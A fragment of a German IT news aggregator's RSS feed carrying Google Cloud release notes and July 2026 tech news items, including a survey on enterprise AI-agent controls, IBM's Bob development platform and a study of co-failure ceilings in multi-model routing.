<li><strong><span>Secure Sensitive Data with Kubernetes Secrets in Apigee hybrid<br></span></strong>Enhance security in Apigee hybrid by accessing Kubernetes Secrets directly within your API proxies. This hybrid-exclusive feature keeps sensitive credentials within your cluster boundary and prevents replication to the management plane. It supports strict separation of duties: operators manage secrets via <code>kubectl</code><span>, while developers reference them as secure flow variables—ideal for high-compliance and GitOps workflows.<br><br></span><a href="https://goo.gle/4qEVffo" rel="noopener" target="_blank"><span>Implement Kubernetes Secrets in your hybrid proxies.</span></a></li>
<li><strong><span>See the Console in a Whole New Light: Dark Mode is Now Generally Available in Google Cloud<br></span></strong>Elevate your cloud management workflow with Dark Mode, now generally available in the Google Cloud console. We have delivered a modern, cohesive, and accessible experience reimagined for maximum comfort and productivity—especially during extended working hours and low-light environments. Dark Mode can be enabled automatically based on your operating system's preference, or manually through the Settings  -&gt; Appearance menu.<br><br><a href="https://docs.cloud.google.com/docs/get-started/console-appearance"><span>Switch to Dark Mode today to enjoy a modern, comfortable, and productive environment!</span></a></li>
<li><strong><span>Apigee X Networking: PSC or VPC Peering?<br></span></strong>Deciding how to connect Apigee X? Watch this video to compare Private Service Connect and VPC Peering. We break down northbound and southbound routing, IP consumption, and how to reach targets on-prem or in the cloud. Learn to simplify your architecture and avoid common networking "gotchas" for a smoother deployment.<br><br><a href="https://goo.gle/4bWBGdV" rel="noopener" target="_blank"><span>Watch the video.</span></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 19 - Jan 23</h3>
<ul>
<li><strong>Bridge the Gap: Excel-to-API Conversion in Apigee Portals<br></strong><span>Give your customers more ways to connect! This new article by Tyler Ayers explores how to extend the Apigee Integrated Portal to support direct Excel file uploads. By leveraging SheetJS and custom portal scripts, you can enable users to upload spreadsheets, preview data, and submit it directly to your APIs, all without writing a single line of integration code themselves. It’s a powerful way to simplify onboarding for those who aren't yet API-ready.<br><br></span><a href="https://goo.gle/3Nq3Pjo" rel="noopener" target="_blank"><span>Learn how to build it</span></a><span>.</span></li>
<li><strong>Elevate your applications with Firestore’s new advanced query engine<br></strong><span>We have fundamentally reimagined Firestore with pipeline operations for Enterprise edition. Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.<br><br></span><a href="https://cloud.google.com/blog/products/data-analytics/new-firestore-query-engine-enables-pipelines?e=48754805"><span>Learn more about Firestore pipeline operations.</span></a></li>
</ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wall Street is debating the AI buildout. Enterprises just answered: 86% say their GPUs run at half capacity or less]]></title>
<description><![CDATA[Enterprise companies are running AI agents ahead of the controls needed to manage them — and they deployed that way knowingly. That is the central finding from VentureBeat Research's June survey of 573 technical leaders at companies with 100 or more employees, fielded across five parallel surveys...]]></description>
<link>https://tsecurity.de/de/3660798/it-nachrichten/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660798/it-nachrichten/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less/</guid>
<pubDate>Fri, 10 Jul 2026 22:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise companies are running AI agents ahead of the controls needed to manage them — and they deployed that way knowingly. That is the central finding from VentureBeat Research's June survey of 573 technical leaders at companies with 100 or more employees, fielded across five parallel surveys of the agentic stack. </p><p>Enterprises are now retrofitting to catch up with their own standards, and they are budgeting for it: Roughly six in 10 enterprises plan to switch or add vendors in each of five control layers within the next 12 months, and roughly a third — depending on the layer — plan to move within the quarter, the research finds.</p><p>There are five main layers where enterprises are building: identity for agents (which agent is allowed to do what, under whose credentials); evaluation of agent output (whether the work is any good); cost telemetry (what each agent costs to run); the context layer (the business data and definitions agents draw on to answer); and the orchestration control plane (the software that coordinates multi-step agent work).</p><p>Enterprises are already paying the price for deploying agents ahead of adequate control functions. Fifty-four percent of companies <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">had an agent security incident or near-miss caught before harm</a> in the past 12 months. Twenty-seven percent exercise only reactive control of agent spend — they learn what an agent costs when the invoice arrives, with no per-agent budget or ceiling in place.</p><div></div><p>Here are the five findings that anchor the set — one finding per layer of the tech stack — and what the data suggests doing first in each.</p><h2>Expensive hardware is idle: 86% of GPU operators report utilization of 50% or less</h2><p>Eighty-six percent of enterprises that run their own GPUs report utilization of 50% or less. Wall Street has spent the quarter debating whether the AI buildout is overbuilt. This is buy-side measurement, from the enterprises doing the buying, and the research says the most expensive hardware in buildings of these enterprises runs at no more than half its capacity.</p><p>The measurement gap compounds it: A minority 44% rigorously track what their AI compute actually costs and returns. Everyone else is only estimating. And the enterprise shopping process continues regardless: 45% of these enterprises say the emerging compute option they are most likely to evaluate in the next 12 months is an AI-specialized cloud (CoreWeave, Lambda, Crusoe, Nebius). However, under 2% of these enterprises report using one of these neoclouds today. </p><p>Moreover, roughly one in three companies appears to be considering a hedge against Nvidia: Asked which emerging compute option they are most likely to evaluate in the next 12 months, 32% of enterprises named non-Nvidia accelerators (AWS Trainium, Google TPUs, AMD), while 28% named next-generation Nvidia GPUs. The data suggests that enterprises should measure the utilization and per-workload cost of the GPUs they already own before committing budget to new compute — whether that's an AI-specialized cloud contract, new accelerators, or more GPUs. </p><h2>Most deployed "agents" do single-prompt work: 71% say a quarter or fewer complete multi-step tasks on their own</h2><p>Seventy-one percent of enterprises say a quarter or fewer of their deployed "agents" can complete multi-step work on their own; the rest are single-prompt chatbots. Only 10% say true agents are the majority of what they run. To be sure, the respondents reported that they are in a position to know these things: 81% said they recommend or decide AI purchases at their companies.</p><p>That finding — that most agents are actually just chatbots in trenchcoats — lands amid adoption claims across the industry running well ahead of what enterprises are actually running. Gartner <a href="https://www.gartner.com/en/newsroom/press-releases/2025-08-26-gartner-predicts-40-percent-of-enterprise-apps-will-feature-task-specific-ai-agents-by-2026-up-from-less-than-5-percent-in-2025">predicted</a> 40% of enterprise applications will be integrated with task-specific AI agents by the end of 2026, up from less than 5% in 2025. It also warned that the most common misconception is referring to these AI assistants as agents, a misunderstanding known as "agentwashing."</p><p>Meanwhile, Zapier's enterprise <a href="https://zapier.com/blog/ai-agents-survey/">survey</a> said 72% reported deploying or testing autonomous agents; and Writer's 2026 <a href="https://writer.com/blog/enterprise-ai-adoption-2026/">survey</a> has 97% of executives saying their company deployed AI agents in the past year. </p><p>Those surveys asked whether companies have deployed something called an AI agent, and companies said yes. Our survey asked the people running those deployments a harder question: Of the agents you have in production, how many can complete a multi-step task without a person driving each step? The gap matters for two practical reasons. First, the inflated adoption figures are the benchmark boards and vendors use to pressure technical leaders into moving faster — and this data says the real bar is far lower than the headlines suggest. Second, the label determines the bill: A single-prompt chatbot with a human reading every answer needs none of the identity, evaluation, and cost controls this report covers, while a true multi-step agent needs all of them. </p><h2>66% let agents push to production on automated evals alone — or are engineering toward it. 5% fully trust those evals</h2><p>Two-thirds of enterprises fall into one of two camps: 34% already allow an AI agent to push a code or system change to production based on automated evaluation results alone, with no human reviewing it, and another 33% are actively engineering their pipelines to allow that within the next 12 months. Only five percent fully trust the automated evaluations that would make that decision.</p><p>The distrust is earned. Half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year; a quarter watched it happen more than once. Asked to name the biggest weakness in their current evaluations, more enterprises chose “poor alignment with real-world outcomes” than any other answer — 29% of respondents.</p><p>And most of the checking happens before an agent ships, then stops. Once agents are live with real users, only 23% of enterprises run real-time quality checks on the answers those agents produce. Another 51% monitor system health only — uptime, request traces, and gateway logs — which tells them the agent is running, and nothing about whether its answers are right. The first move: Before removing human review from any workflow, test your evaluations against production outcomes rather than internal benchmarks, and instrument answer quality, not just uptime. </p><p>This finding is explored in more depth in <a href="https://venturebeat.com/orchestration/enterprise-ai-is-entering-an-evaluation-gap-agents-are-gaining-autonomy-faster-than-companies-can-verify-them">VentureBeat's related coverage of the evaluation gap</a>, which found that larger enterprises are moving faster toward zero-human deployment while also failing more often — and outlines a regression-testing framework built on production outcomes rather than internal benchmarks. </p><h2>69% run credential sharing somewhere in the agent fleet — and those companies get hit far more often</h2><p>Sixty-nine percent of companies allow agent credential sharing somewhere in their agent fleet during runtime – meaning multiple agents operating under one API key or service account. Those companies were far more likely to get hit: Organizations with credential sharing anywhere in the fleet experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent has its own scoped identity. </p><p>The takeaway for enterprises is this: Give every agent its own scoped identity, starting with the agents that touch production systems.</p><h2>57% traced a confident, wrong agent answer to their own missing or inconsistent business context</h2><p>Fifty-seven percent of enterprises traced at least one confident, wrong agent answer in the past six months to missing or inconsistent business context: wrong metrics, stale definitions, absent documents. Most of them watched it happen more than once.</p><p>Most enterprise companies are fixing this, even though they’ve moved forward with agent deployment already: 25% already run a governed semantic layer, or one governed definition of the business that every AI reads from, in production. However, 34% are still building one, and 41% haven't started. The takeaway: Govern the definitions your agents answer from, metrics and entities first, before scaling the agents that depend on them.</p><h2>The quarter where agent technology “portability” became a priority</h2><p>One more shift is worth reporting with its limits stated plainly. In our spring orchestration survey wave, the top concern about provider-controlled orchestration was security and permissioning limits (32%). By June, vendor lock-in led at roughly a third, with security limits at 28%. </p><p>Those are two snapshots one quarter apart, and here’s one possible explanation for why portability became a top issue for enterprises. Our June survey went into market after a June 12 U.S. Commerce Department <a href="https://venturebeat.com/orchestration/enterprises-lost-claude-fable-5-for-a-few-weeks-new-data-shows-two-thirds-had-already-built-their-hedge">export order took Anthropic's Claude Fable 5 offline</a> for enterprises for roughly three weeks. Meanwhile, Chinese company Z.ai <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">released GLM-5.2's open weights</a> under an MIT license on June 16 at roughly one-sixth of GPT-5.5's price; and Tencent's <a href="https://venturebeat.com/technology/tencents-apache-licensed-hy3-takes-on-glm-5-2-at-half-the-size-and-wins-everywhere-except-coding">Hy3 arrived</a> July 6 under Apache 2.0; and OpenAI <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">previewed GPT-5.6</a> on June 26 to a small group of government-vetted partners, opening it broadly on July 9 after the government's review cleared. The open-weight releases in particular promise enterprises more control over their agents, and while we haven't established a causal link here, the timing is worth noting.</p><p>The posture data matches the mood: 51% now expect their primary control plane for enterprise agents to be hybrid — provider-native plus external orchestration — by the end of 2026, up from 34% in the spring survey wave. Enterprises reporting that they rely purely on provider-managed agent services fell from 12% to 7%.</p><h2>Five layers, no incumbents, 12 months</h2><p>The synthesis across all five surveys reveals a huge “buying” window. In each of the five control layers, 57% to 64% of enterprises plan to switch or add vendors within 12 months — 64% in infrastructure and in evaluations, 59% in agent security, 57% in retrieval and context — and 26% to 38%, depending on the layer, plan to move within a quarter. No layer has an established incumbent: The most common evaluation tooling is the model provider's built-in evals, tied with no dedicated tooling at all (17% each); 82% of respondents name provider-native or hyperscaler controls as their primary agent security layer; and provider-native retrieval leads the context technology layer (RAG, etc) as well. </p><p>Most enterprises are defaulting today to the built-in tools that ship with the big AI platforms they already use: Anthropic, OpenAI, Google, Microsoft, and AWS. That holds true across every one of these agentic technology layers: enterprises are looking to their primary cloud and model providers to supply the guardrails, evaluations, and retrieval solutions already bundled into those providers' offerings.</p><p>Those defaults are winning on convenience, and they're also what the coming spending decisions will test. The survey didn't ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — which is exactly why every contract in these five layers is worth watching over the next four quarters.</p><p>The Q3 survey wave will measure whether the enterprises made good on these budget plans: whether their agents gained scoped identities, whether evaluations got tested against production outcomes, whether GPU utilization rose, and whether the semantic layers under construction shipped.</p><p><i>VentureBeat will release the full Q2 reports across all five VB Pulse trackers at </i><a href="https://luma.com/92nbdnnx?utm_source=LI&amp;utm_campaign=mmpost2"><i>VB Transform</i></a><i>, July 14–15 at Hotel Nia in Menlo Park, where we convene enterprise technical leaders building autonomous agents in production. </i></p><p><i>Disclosure: VentureBeat produces both this research and VB Transform</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Won’t fix! – Teil 4: Warum sich Codequalität nicht in eine Zahl pressen lässt]]></title>
<description><![CDATA[Lines of Code, zyklomatische Komplexität oder Code Coverage: Keine einzelne Zahl kann erfassen, was guten Code von schlechtem unterscheidet.]]></description>
<link>https://tsecurity.de/de/3658968/it-nachrichten/wont-fix-teil-4-warum-sich-codequalitaet-nicht-in-eine-zahl-pressen-laesst/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658968/it-nachrichten/wont-fix-teil-4-warum-sich-codequalitaet-nicht-in-eine-zahl-pressen-laesst/</guid>
<pubDate>Fri, 10 Jul 2026 09:17:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Lines of Code, zyklomatische Komplexität oder Code Coverage: Keine einzelne Zahl kann erfassen, was guten Code von schlechtem unterscheidet.]]></content:encoded>
</item>
<item>
<title><![CDATA[IBM Bob expands beyond code generation to orchestrate the entire SDLC]]></title>
<description><![CDATA[Enterprises are using AI to write more code than ever before; anywhere between 25% and 75%, depending on who you ask. This means developers are moving to other parts of the process, where they run into whole new sets of problems.



IBM rolled out its IBM Bob agentic software development platform...]]></description>
<link>https://tsecurity.de/de/3658483/ai-nachrichten/ibm-bob-expands-beyond-code-generation-to-orchestrate-the-entire-sdlc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658483/ai-nachrichten/ibm-bob-expands-beyond-code-generation-to-orchestrate-the-entire-sdlc/</guid>
<pubDate>Fri, 10 Jul 2026 03:02:42 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Enterprises are using AI to write more code than ever before; anywhere between <a href="https://www.infoworld.com/article/4176534/ai-coding-agents-need-good-software-engineers.html" target="_blank">25% and 75%</a>, depending on who you ask. This means developers are moving to other parts of the process, where they run into whole new sets of problems.</p>



<p>IBM rolled out its IBM Bob agentic software development platform earlier this year to help developers across the entire software development lifecycle (SDLC), rather than just in single interfaces or isolated tasks.</p>



<p>To build out the platform, IBM Thursday announced <a href="https://newsroom.ibm.com/2026-07-09-ibm-advances-enterprise-ai-software-development-with-multi-agent-capabilities-and-specialized-modernization-workflows" target="_blank" rel="noreferrer noopener">a series of updates</a>, including new multi-agent capabilities, parallel tool calling, and built-in cost and use analytics. The company also announced three specialized workflows geared specifically to Java modernization, its IBM i operating system (OS), and its mainframe architecture, IBM Z.</p>



<p>“What makes IBM Bob different is that IBM did not build it as another point coding assistant,” said <a href="https://www.ibm.com/think/author/michael-kwok" target="_blank" rel="noreferrer noopener">Michael Kwok</a>, VP of IBM Bob. “The market conversation has moved from ‘which model writes code fastest?’ to ‘which platform helps enterprises deliver software safely, repeatedly, and economically across the full lifecycle?’”</p>



<p>Bob is designed to address that broader problem, he said: understanding complex systems, planning changes, executing work, validating results, and giving leaders visibility into usage, governance, and cost. “IBM Bob supports the work around the code, as much as the code itself,” he said.</p>



<h2 class="wp-block-heading">Bob’s new features</h2>



<p>Bob, which was made <a href="https://newsroom.ibm.com/2026-04-28-introducing-ibm-bob-ai-development-partner-that-takes-enterprises-from-ai-assisted-coding-to-production-ready-software" target="_blank" rel="noreferrer noopener">globally available in April</a>, embeds agentic AI across the entire development process: discovery, planning, design, coding, testing, deployment, and operations. It offers different persona-based modes (‘Agent,’ ‘Plan,’ ‘Ask’), reusable playbooks, and enforced standards.</p>



<p>Bob can call tools to perform different tasks and route those tasks between different models, like IBM’s Granite or Anthropic’s Claude, based on cost, performance, and accuracy needs. It can also run several tasks simultaneously, each in its own thread. From a security standpoint, it scans sensitive data, enforces policy in real time, and incorporates red-teaming directly into development workflows.</p>



<p>“Enterprise software work is rarely a single prompt or a single file,” said Kwok, noting that it often requires repository discovery, dependency analysis, testing, security review, documentation, and human approval. “Bob coordinates that work, rather than leaving developers to stitch it together manually,” he said.</p>



<p>Now, rather than running each one separately, Bob can call model-native tools in parallel and run them simultaneously. This means that a task that previously took 30 seconds can now be done in 10 seconds or less, reducing token consumption per task, IBM says. Its context window is also larger (270K tokens compared to 200K in V1).</p>



<p>Additionally, Bob can pull in subagents to perform its exploratory steps. When the agent needs to do a self-contained task, like “figure out how authentication works in this codebase,” it spins up a subagent to read files, perform analysis, and work out patterns. The main agent then receives a summary, and the intermediate steps are thrown away, IBM says. This helps prevent context window bloat.</p>



<p>Parallel tool calling reduces waiting time for work that fans out across searches, file reads, and validation steps, Kwok explained, while subagents keep the main context cleaner by isolating exploratory work and returning concise summaries.</p>



<p>“The point is not that Bob can do more things at the same time; it’s that Bob can coordinate those things in a way that remains understandable, repeatable, and auditable,” he said.</p>



<h2 class="wp-block-heading">‘Bobalytics’ provides important metrics</h2>



<p>Further, Bob is now equipped with ‘Bobalytics,’ a visibility and <a href="https://www.cio.com/article/4183502/why-is-it-so-hard-to-measure-the-roi-of-ai.html" target="_blank">cost optimization</a> tool for teams to help them maintain oversight, monitor use, and allocate resources.</p>



<p>“The goal is to help enterprises understand not only how much AI is being used, but if it’s creating meaningful value,” said Kwok.</p>



<p>Bobalytics is designed around multiple views, he explained. For instance, administrators need to see seat usage, consumption, governance controls, and activity visibility, while managers need insight into “team-level patterns,” such as who’s adopting Bob, which workflows are delivering value, and where teams may need support.</p>



<p>This can support important decision-making, Kwok said: Where adoption is high but value is low, teams may need better workflows or training; if a team has cost spikes, leaders need to know where and why, and take action accordingly.</p>



<h2 class="wp-block-heading">Bob’s specialized packages</h2>



<p>IBM has offered ways to help enterprises modernize across mainframes, <a href="https://www.infoworld.com/article/3993579/java-turns-30-and-theres-no-stopping-it-now.html" target="_blank">Java codebases</a>, and OSes for decades. Now, the company is incorporating that institutional knowledge into three pre-built, customizable workflows for Java modernization, IBM i, and IBM Z. The company says these are “structured, repeatable, auditable, and purpose-built.”</p>



<p>Bob for <a href="https://www.infoworld.com/article/2267843/exceptions-in-java-part-1-exception-handling-basics.html" target="_blank">Java modernization</a> helps teams migrate from Java 8 or earlier to Java 11, 17, 21, or 25, identifying compatibility issues, analyzing dependencies, coordinating code and configuration updates, and performing other important tasks.</p>



<p>For instance, a developer may ask Bob to assess an app for a Java version upgrade. Bob may have to inspect the build system, analyze dependencies, review framework usage, identify compatibility issues, read logs, understand test coverage, and propose an upgrade plan. Now it does those tasks in parallel, while subagents can handle focused investigations “without polluting the main conversation context,” Kwok said.</p>



<p>Bob for IBM i features curated skills and agentic workflows optimized for the IBM i OS. This includes refactoring “monolithic” apps into more modular modern structures, creating documentation, producing unit tests, and generating different types of code (COBOL, DDS, CL, RPG) for developers. Further, an ‘IBM i database mode’ allows Bob to emulate an experienced database engineer. </p>



<p>Mainframe environments have been notoriously difficult for AI integrations, and IBM says it is bringing AI-native app modernization to IBM Z for the first time, with COBOL and PL/I modernization and job control language (JCL) analysis.</p>



<p>Bob for IBM Z offers reusable skills; specialized modes that allow it to adapt to different tasks like code refactoring or architectural impact analysis, and the ability to write code, read, files, and execute commands.</p>



<p>For example, a developer may ask: “What impact will this field change have?” and Bob can use Z-specific analysis and metadata to reason across programs, copybooks, JCL, data flows, and subsystem interactions, Kwok noted. A subagent can explore one part of the system, summarize the relevant findings, and return only what the main agent needs to continue planning or executing the change. </p>



<p>Java, Z and i are all environments with different runtime assumptions, languages, integration patterns, governance needs, and operational constraints, he said, adding that IBM’s domain expertise is “a key differentiator.”</p>



<p>IBM will eventually broaden into other workflow-specific capabilities, he noted, in areas where “specialized workflows can materially improve real software delivery.”</p>



<h2 class="wp-block-heading">IBM Bob not ‘just another copilot’</h2>



<p>IBM Bob is not another copilot bolted onto your integrated development environment, said <a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group. Rather, it “builds security, testing, and governance into the generation step, so code arrives already checked instead of landing on the reviewers who were the bottleneck.”</p>



<p>Prompt normalization blocks unsafe instructions as they’re written, sensitive data is scanned and secrets detected in real time, and policy enforcement is continuous throughout the code lifecycle, he noted. Bob, rather than a human team, picks models, and built-in and custom models allow developers to move between planning, coding, and review without needing to switch tools. Further, Model Context Protocol (MCP) integration connects Bob to existing toolchains.</p>



<p>Most AI coding tools have typically worked in the same way: Generate code in a coding tool, paste it into an integrated development environment (IDE), then spend time fixing what broke, Bellamkonda pointed out. </p>



<p>Developers end up writing a lot of code and losing hours chasing bugs. Then code hits production, where every line still has to clear security review, testing, and compliance. And while, for example, AWS Kiro requires a spec before any code exists, then tests code against it, AWS Transform goes after the other end, modernizing old code and clearing tech debt in a continuous loop. </p>



<p>“IBM Bob works the same stage but bakes the checks into generation,” Bellamkonda noted.</p>



<p>“The whole industry reached the same conclusion this year: Bolt an accelerator onto an unchanged pipeline, and you move the bottleneck downstream,” he said. “The tools just differ by where they step in.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Enterprises using multiple AI models are underestimating failure rates by 2.25x]]></title>
<description><![CDATA[A team routing queries across a coding specialist, a logic specialist, and a generalist model assumes each will cover the others' blind spots. A new study evaluating 67 frontier models from 21 providers shows that assumption is mathematically flawed — and the flaw has a name: the co-failure ceili...]]></description>
<link>https://tsecurity.de/de/3658055/it-nachrichten/enterprises-using-multiple-ai-models-are-underestimating-failure-rates-by-225x/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658055/it-nachrichten/enterprises-using-multiple-ai-models-are-underestimating-failure-rates-by-225x/</guid>
<pubDate>Thu, 09 Jul 2026 21:02:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A team routing queries across a coding specialist, a logic specialist, and a generalist model assumes each will cover the others' blind spots. <a href="https://arxiv.org/abs/2606.27288">A new study</a> evaluating 67 frontier models from 21 providers shows that assumption is mathematically flawed — and the flaw has a name: the co-failure ceiling.</p><p>The assumption works like this: as long as two models don't usually fail on the exact same prompts, combining them is supposed to create a safety net against failures.</p><p>The real limit on orchestration is not how often models disagree, but the percentage of prompts where every model in the pool gives the wrong answer at once. By ignoring the co-failure ceiling, enterprises are building complex, expensive routing infrastructure to chase performance gains that do not exist. Fortunately, developers can use this same math to build a cost-free test that determines exactly when multi-model orchestration will actually pay off.</p><h2>The hidden costs of the multi-model strategy</h2><p>To orchestrate multiple language models, developers typically rely on three architectures. <a href="https://venturebeat.com/technology/new-1-5b-router-model-achieves-93-accuracy-without-costly-retraining">Model routers</a> act as traffic cops, sending complex queries to expensive models and simple queries to cheaper ones. Cascades send every prompt to a cheap model first, only escalating to a premium model if the initial system signals low confidence. Finally, approaches like <a href="https://bdtechtalks.com/2025/02/17/llm-ensembels-mixture-of-agents/">Mixture-of-Agents</a> (MoA) fuse multiple models by asking them the same question and generating a synthesized answer from their combined outputs.</p><p>These architectures introduce a "shadow price" to inference costs. Every time a development team implements a router or a cascade, they pay a premium in added system latency, complex infrastructure maintenance, and increased governance risks across multiple API providers.</p><p>To justify these operational costs, engineers rely on “pairwise error correlation” to select their model pool. Imagine a developer has Model A, which writes excellent Python but fails at SQL, and Model B, which writes excellent SQL but fails at Python. Because they fail on different types of prompts, their pairwise error correlation is low. The developer assumes that by placing a routing layer in front of them, they have created a composite system that rarely fails at coding.</p><p>According to the study, throwing diverse models together based on low correlation can actually hurt performance if the models are not equally capable — when you vote across diverse but unequal models, the weaker ones often gang up and outvote the smartest one.</p><p>Josef Chen, author of the paper, told VentureBeat that in their experiments, "Naive majority voting across unequal models had negative mean gain (minus 10 points on our hard mix): diverse-but-weaker members outvote the strong one." The actionable advice for developers is to "combine only models within a matched quality band." If you cannot match quality, take the single-model baseline and spend your budget on the best model available.</p><p>The paper provides one bright spot for this approach regarding MoA architectures. When building ensembles, teams often use "Self-MoA," where they query the same premium model multiple times to generate a synthesized answer. The researchers found that at matched quality, building a diverse ensemble of models with low pairwise correlation beats a high-correlation Self-MoA setup.</p><p>However, when teams use that same pairwise correlation metric to predict the absolute accuracy of their overall system, the math breaks down.</p><p>"So teams pay the orchestration overhead up front (latency, complexity, multi-provider operations) on the assumption that a diversity dividend arrives later," Chen said. "Usually it doesn't, because today's best models agree, and, worse, they fail on the same queries … the prompt simply carries little signal about which model will be the one that's right when the frontier disagrees."</p><h2>Why the math fails: the co-failure ceiling</h2><p>The core finding of the study centers on a metric called the "co-failure rate" — the formal name for the all-wrong scenario described above. No router, voting system, or cascade can ever achieve an accuracy higher than the ceiling it imposes.</p><p>The coding, logic, and generalist pool shows low pairwise correlation on routine prompts — they rarely fail together. But the co-failure ceiling represents the obscure, highly complex edge case that pushes past the limits of current AI architectures. If a prompt is so difficult that all three models hallucinate or fail, it does not matter how intelligently the router distributes the task. The entire pool wipes out at once.</p><p>The researchers tested their 67-model pool, which included GPT-5.5, Claude Opus 4.8, and Gemini 3.1 Pro, on the open-ended MATH-500 math benchmark. Based on standard pairwise correlation, statistical models predicted that the entire pool would wipe out simultaneously on only 2.3% of the questions. In reality, the co-failure rate was 5.2%.</p><p>Standard correlation metrics underestimated the failure rate by roughly 2.25 times. The culprit is not just independent difficulty, but a shared failure point.</p><p>"The driver is what we call a common-mode atom: a slice of queries on which the entire market fails together, which no pairwise statistic can see," Chen said. "Adding a 20th model to your pool doesn't buy tail coverage. The tail is shared."</p><p>The researchers also found that task format directly triggers co-failure. When they took graduate-level science questions from the GPQA benchmark and changed them from multiple-choice to free-response formats, the all-wrong tail expanded to 12.7%.</p><p>Developers can engineer around the ceiling, though. "The engineering implication is uncomfortable: multi-model setups buy the least exactly where teams want them most, on open-ended generation," Chen said. "Anywhere you can convert generation into verification or constrained selection (structured outputs, checkable answers, execution tests), you reopen the ceiling."</p><p>Ultimately, the researchers found this ceiling limits AI applications in two distinct ways, depending on the domain:</p><ul><li><p><b>Ceiling-bound environments (e.g., open-ended math):</b> The co-failure rate is high. The task is too hard, and all models fail simultaneously. No amount of routing can bypass the lack of underlying capability.</p></li><li><p><b>Realizability-bound environments (e.g., graduate-level science):</b> The co-failure rate is near zero, meaning at least one model in the pool usually knows the answer. However, the models disagree so subtly that a routing layer cannot reliably pick the correct answer without an omniscient oracle.</p></li></ul><h2>The $0 pre-deployment sanity check</h2><p>Before dedicating engineering hours to building a router, teams can calculate their absolute performance ceiling for free using a mathematical formula called a Clopper-Pearson bound.</p><p>The Clopper-Pearson bound operates as a worst-case scenario calculator. If you flip a coin ten times and get eight heads, you cannot guarantee the coin will land on heads 80% of the time forever. The bound takes a small sample of test questions and outputs a mathematically guaranteed ceiling.</p><p>Applied to language models, suppose a team tests a pool of five agents on 50 sample queries and finds they all fail together on just two questions. A developer might assume their multi-agent system will achieve 96% accuracy in production. The Clopper-Pearson formula corrects this optimism. It analyzes the small sample size and provides a mathematical guarantee that the true co-failure rate could actually be as high as 12%.</p><p>To use this in practice, enterprises must build a held-out dataset. A fintech company, for example, could take 200 complex customer support tickets from the previous quarter and have human agents write perfect resolutions to serve as a benchmark. While this sounds like a heavy manual project, mature engineering teams can automate the entire ceiling calculation.</p><p>"Integration is trivial: it's a counting job over eval logs teams already produce," Chen notes, "so it runs in the same CI stage as the eval suite and re-triggers whenever the model pool or the workload changes."</p><p>The engineering team then runs its candidate models against these 200 tickets once and records the results. When they want to evaluate multi-model configurations, they can use the co-failure rate measure to predict the maximum accuracy they can get from the system without running extra queries.</p><p>One important conclusion the study draws is that on tasks where answers can be definitively checked, combining models rarely beats using the single best model on the market, unless the team possesses an exceptionally strong query-level routing signal.</p><p>In an enterprise environment, a definitively checked task has an objective, zero-tolerance answer. This includes generating a SQL query that must execute without error, extracting a specific invoice total from a 50-page PDF, or formatting a JSON payload that perfectly matches a strict schema. For these tasks, enterprises are usually better off paying a premium for the smartest frontier model rather than weaving together three cheaper models and hoping a router picks the correct output. The study didn't test subjective, ungraded tasks like drafting marketing copy — the authors note that whether these findings hold outside their verifiable benchmarks remains an open question.</p><p>Because this mathematical check is free, enterprise teams can track their own co-failure rates as new models drop.</p><p>"The measurement costs nothing, so any team can track its own co-failure rate across model generations and watch whether the tail is closing," says Chen. Ultimately, "the lever buyers hold is failure-mode heterogeneity and market churn, not model count."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Tooling Announcements: Engineering Effectiveness Newsletter (Q2 2026 Edition)]]></title>
<description><![CDATA[Welcome to the Q2 edition of the Engineering Effectiveness Newsletter! The Engineering Effectiveness org makes it easy to develop, test and release Mozilla software at scale. See below for some highlights, then read on for more detailed info!
Highlights 


Improved mach startup overhead by 30-50%...]]></description>
<link>https://tsecurity.de/de/3657816/tools/firefox-tooling-announcements-engineering-effectiveness-newsletter-q2-2026-edition/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657816/tools/firefox-tooling-announcements-engineering-effectiveness-newsletter-q2-2026-edition/</guid>
